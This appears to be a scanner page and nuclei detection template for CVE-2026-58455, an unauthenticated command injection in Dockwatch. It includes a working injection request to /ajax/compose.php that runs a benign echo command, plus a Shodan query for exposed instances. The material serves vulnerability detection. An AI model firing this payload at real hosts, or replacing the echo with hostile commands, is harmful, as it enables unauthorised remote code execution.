Dockwatch <= 0.6.567 - OS Command Injection

criticalseverity

9.8CVSS score

8%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

Dockwatch through 0.6.567 contains an unauthenticated command injection caused by missing exit() after authentication redirect in loader.php and unsanitized input in ajax/compose.php, letting remote attackers execute arbitrary shell commands, exploit requires seeding a session flag via incomplete auth check.

Impact

Remote attackers can execute arbitrary shell commands, potentially leading to full host compromise.

Fix

Update to the latest version that fixes the authentication and input validation issues.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains(body, "Dockwatch")
Send: POST /ajax/compose.php
Positive when: contains "55845-2602-EVC"

Run it with nuclei: nuclei -id CVE-2026-58455 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2026-58455

info:
  name: Dockwatch <= 0.6.567 - OS Command Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    Dockwatch through 0.6.567 contains an unauthenticated command injection caused by missing exit() after authentication redirect in loader.php and unsanitized input in ajax/compose.php, letting remote attackers execute arbitrary shell commands, exploit requires seeding a session flag via incomplete auth check.
  impact: |
    Remote attackers can execute arbitrary shell commands, potentially leading to full host compromise.
  remediation: |
    Update to the latest version that fixes the authentication and input validation issues.
  reference:
    - https://github.com/Notifiarr/dockwatch/pull/135
    - https://nvd.nist.gov/vuln/detail/CVE-2026-58455
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-58455
    cwe-id: CWE-78
    epss-score: 0.0804
    epss-percentile: 0.94832
  metadata:
    max-request: 2
    vendor: notifiarr
    product: dockwatch
    shodan-query: title:"Dockwatch"
  tags: cve,cve2026,dockwatch,rce,vkev

flow: http(1) && http(2)

variables:
  cmd: "echo CVE-2026-58455 | rev"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Dockwatch")'
        condition: and
        internal: true

  - raw:
      - |
        POST /ajax/compose.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        m=composePull&composePath=x;{{cmd}};#

    matchers:
      - type: word
        part: body
        words:
          - '55845-2602-EVC'

References

Use this check only on systems you are authorised to test. Where the data comes from